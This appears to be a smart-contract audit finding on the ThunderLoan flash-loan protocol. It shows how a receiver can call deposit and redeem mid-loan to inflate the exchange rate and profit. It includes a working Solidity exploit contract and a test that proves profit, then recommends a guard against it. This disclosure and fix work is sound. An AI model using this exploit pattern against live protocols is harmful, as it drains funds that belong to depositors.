Summary
The vulnerability in the flashloan receiver contract allows an attacker to exploit the deposit and redeem functions to manipulate the exchange rate and profit from the transaction.
Vulnerability Details
As the flashloan receiver contract, after receiving the amount of the underlying token, the receiver contract can call IThunderLoan(s_thunderLoan).deposit(token, amount); to mint the assetToken and updateExchangeRate. The exchange rate will increase, which means the assetToken will become more valuable.
After calling deposit, the receiver can soon call redeem. However, to be cautious, the receiver need to calculate the specific amount of assetToken to precisely withdraw all underlying tokens.
According to this equation: uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();, we can calculate that uint256 assetTokenAmount = amount * assetToken.EXCHANGE_RATE_PRECISION() / assetToken.getExchangeRate() + 1;
The receiver can redeem with an amount of assetTokenAmount to repay the underlying token and complete the flashloan. After the flashloan, the receiver can call redeem again to withdraw the remaining underlying tokens.
Flashloan Receiver Example:
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
uint256 beforeAssetAmount = IERC20(assetToken).balanceOf(address(this));
IERC20(token).approve(s_thunderLoan, amount);
IThunderLoan(s_thunderLoan).deposit(token, amount);
uint256 assetTokenAmount = amount * assetToken.EXCHANGE_RATE_PRECISION() / assetToken.getExchangeRate() + 1;
uint256 afterAssetAmount = IERC20(assetToken).balanceOf(address(this));
uint256 deltaTokenAmount = afterAssetAmount - beforeAssetAmount;
IThunderLoan(s_thunderLoan).redeem(token, assetTokenAmount);
IERC20(token).approve(s_thunderLoan, amount + fee);
IThunderLoan(s_thunderLoan).repay(token, amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
profitAssetTokenAmount += deltaTokenAmount-assetTokenAmount;
return true;
}
function withdrawFunds() public{
IThunderLoan(s_thunderLoan).redeem(underlyingToken, profitAssetTokenAmount);
profitAssetTokenAmount = 0;
}
Test code:
function testExploitFlashLoan() setAllowedToken hasDeposits public {
hackFlashLoanReceiver = new HackFlashLoanReceiver(address(thunderLoan), address(assetA), address(tokenA));
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(hackFlashLoanReceiver), AMOUNT);
thunderLoan.flashloan(address(hackFlashLoanReceiver), tokenA, amountToBorrow, "");
vm.stopPrank();
assertEq(hackFlashLoanReceiver.getbalanceDuring(), amountToBorrow + AMOUNT);
assertEq(hackFlashLoanReceiver.getBalanceAfter(), AMOUNT - calculatedFee);
hackFlashLoanReceiver.withdrawFunds();
uint256 profit = tokenA.balanceOf(address(hackFlashLoanReceiver)) - (AMOUNT - calculatedFee);
assertGt(profit, 0);
}
Impact
By leveraging this vulnerability, an attacker could potentially manipulate the exchange rate in their favor and gain additional underlying tokens as profit.
Tools Used
Manual Review
Recommendations
Add s_currentlyFlashLoaning check to prevent calling deposit and redeem during flashloan
function redeem(
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
......
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
......
}